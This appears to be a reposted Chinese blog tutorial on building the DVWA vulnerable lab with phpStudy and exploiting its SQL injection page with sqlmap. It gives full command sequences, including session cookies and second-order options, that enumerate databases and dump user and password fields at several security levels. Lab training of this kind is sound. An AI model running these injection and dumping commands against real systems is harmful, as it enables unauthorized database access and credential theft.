当前位置:   article > 正文

SQL注入(DVWA靶场搭建及使用、sqlMap注入、sqlmap问题及解决办法)_dvwa sql注入

dvwa sql注入

sqlmap使用教程

1、客户端向服务端请求的流程

2、SQL注入常见分类

 3、SQL注入常见过程

 4、SQL注入的作用

 5、常用SQL测试语句

 注释字符:

DVWA靶场搭建及使用(详细图文)

一、下载DVWA
下载地址:DVWA/README.zh.md at master · digininja/DVWA · GitHub
这里我是从GitHub上下载的,小伙伴们自行选择

二、安装DVWA
在安装前,需要做一个准备工作,我们先去做一个PHP+Mysql的环境搭建。

1.下载、安装、启动phpstudy,小皮面板(phpstudy) - 让天下没有难配的服务器环境!

(phpStudy是一个PHP调试环境的程序集成包。恰好我们可以用到"PHP+Mysql+Apache"。)

注意开启apache和mysql

2、将下载的DVWA解压到phpstudy网站根目录下。

例如:我这解压后的路径是“D:\phpStudy\WWW\DVWA-master\”(这里为了后面进入目录方便,我会将文件名改成DVWA)

3、将 config.inc.php.dist 复制一份或重命令为 config.inc.php;

例如:我的配置文件路径是“D:\phpStudy\WWW\DVWA-master\config”。

注意:有的小伙伴操作系统可能会默认不显示文件后缀名,改为显示后缀名之后再重命名文件类型 config.inc.php.dist→config.inc.php。这步必须做。

4、修改 config.inc.php 里代码如下:

$_DVWA[ 'db_server' ]   = '127.0.0.1'; #数据库地址
$_DVWA[ 'db_database' ] = 'dvwa'; #数据库名称
$_DVWA[ 'db_user' ]     = 'root'; #数据库用户名
$_DVWA[ 'db_password' ] = 'root'; #数据库密码
因为phpstudy默认的mysql数据库地址是“127.0.0.1 或 localhost",用户名和密码都是"root"。主要是修改’db_password‘为root,这里很重要,修改后自然是需要保存文件的。

三、DVWA使用

1、设置或重置数据库

浏览器只需要直接打开“http://搭建环境的系统ip/DVWA-master/setup.php”即可!如果有”标红“提示,可能你要打开一些模块或做一些设置,否则有些是不能实验的,例如:文件包含、文件上传漏洞。

                如:红色字体显示“DVWA-PHP function allow_url_include: Disabled”错误

                需要改的不是DVWA文件夹下的php.ini,而是你安装的php的php.ini。

                由于我使用的是PHPstudy,找到所使用的php版本号所在文件夹,修改php.ini中的allow_url_include为On,错误得到解决。

拉到下面,点击Setup/Reset DB,点击Create/Reset Database。会看到创建成功提示!

2、登陆

浏览器打开”http://127.0.0.1/DVWA-master/login.php“登陆。默认用户名:admin,默认密码:password;

注意:若在kali中不能访问页面,需要设置或关闭Windows服务器中防火墙。

3、设置程序安全级别
浏览器打开”http://你自己ip/DVWA-master/security.php“来做设置,分别有”低、中、高、不可能“,程序安全级别越低,说明越容易被攻破,没有做任何的安全防护。主要是用来自我挑战不同等级的程序防护级别的!

 环境配置好,可以开打啦!

他山之石

sqlmap使用教程icon-default.png?t=N7T8https://blog.csdn.net/Gherbirthday0916/article/details/126857683

DVWA靶场通关教程icon-default.png?t=N7T8https://blog.csdn.net/CYwxh0125/article/details/122460851?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~Rate-1-122460851-blog-127086871.pc_relevant_landingrelevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~Rate-1-122460851-blog-127086871.pc_relevant_landingrelevant&utm_relevant_index=1

SQLMAP注入DVWA实战icon-default.png?t=N7T8https://blog.csdn.net/m0_62636343/article/details/124733514

 sqlmap问题及解决办法

利用sqlmap对DVWA中Low进行SQL注入

输入: python sqlmap.py -u http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1

 报错:不可注入…提示

用一个带上一个响应包注入成功了

 切记: sqlmap.py -u 后面是跟URL
sqlmap.py -r 后面是跟响应数据
sqlmap进行注入时,最好使用-r

最后再复习一下sqlmap注入命令:

1、是否存在注入点

python sqlmap.py -r “响应包路径”

2、获取注入点所有数据库

python sqlmap.py -r “响应包路径” --dbs

3、获取当前使用的数据库

python sqlmap.py -r “响应包路径” --current-db --batch

4、获取数据库中的表

python sqlmap.py -r “响应包路径” --table -D “数据库名” --batch

5、获取表中的字段信息

python sqlmap.py -r “响应包路径” --columns -T “表名” -D “获取的数据库名” --batch

6、获取字段具体信息

python sqlmap.py -r “响应包路径” --dump -C “字段名(可多个)” --columns -T “表名” -D “数据库名” --batch

7、当前使用的账户

python sqlmap.py -r “响应包路径” --current-user

8、列出所有使用过的账户

python sqlmap.py -r “响应包路径” –users

9、mysql的登录账户和密码

python sqlmap.py -r “响应包路径” –passwords

例1:sqlmap.py -r 后面是跟响应数据

第一步:复制durp工具捕获的请求代码,生成aa.txt文件。

第二步:sqlmap 注入

sqlmap -r "/home/hfy/桌面/aa.txt" -D dvwa -T users -C user,password --dump

获得数据库

获得dvwa库中表

获得users表中列(字段)

获得user,password字段值。

例2:sqlmap.py -u 后面是跟URL

第一步:durp工具捕获的请求COOKies

浏览器登录dvwa靶场——设置安全级为LOW——选择SQL Injection——输入任意ID号——点击Submit(浏览器要启用代理:127.0.0.1,端口8080)

durp中在Proxy下开启Intercept is on

第二步:sqlmap注入

使用-u参数来指定目标URL,--dbs进行数据库爆破

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie "security=low; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" --dbs

之后可得到数据库信息:

爆破成功,接下来可进行数据库查看等一系列操作。

-D dvwa -tables: 查看数据库dvwa中的表

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie "security=low; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" -D dvwa -tables

-T users -columns:查看表user中的字段名

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie "security=low; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" -D dvwa -T users -columns

-C user,password --dump:获取字段user,password信息

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie "security=low; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" -D dvwa -T users -C user,password --dump

.DVWA等级--mid爆破方法:

同例1:sqlmap.py -r 后面是跟响应数据

DVWA等级--high爆破方法:

需要二阶sql注入(--second-order)

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" --cookie "security=high; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" --second-url "http://192.168.1.2/dvwa/vulnerabilities/sqli/session-input.php" --dbs

 可以查看数据库信息了。

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" --cookie "security=high; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" --second-url "http://192.168.1.2/dvwa/vulnerabilities/sqli/session-input.php" -D dvwa -tables

得到了数据中表信息。

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" --cookie "security=high; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" --second-url "http://192.168.1.2/dvwa/vulnerabilities/sqli/session-input.php" -D dvwa -T users -columns
得到了表中字段信息。

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" --cookie "security=high; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" --second-url "http://192.168.1.2/dvwa/vulnerabilities/sqli/session-input.php" -D dvwa -T users -C user,password -dump

得到了user,password字段的值。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/441973
推荐阅读
相关标签
  

闽ICP备14008679号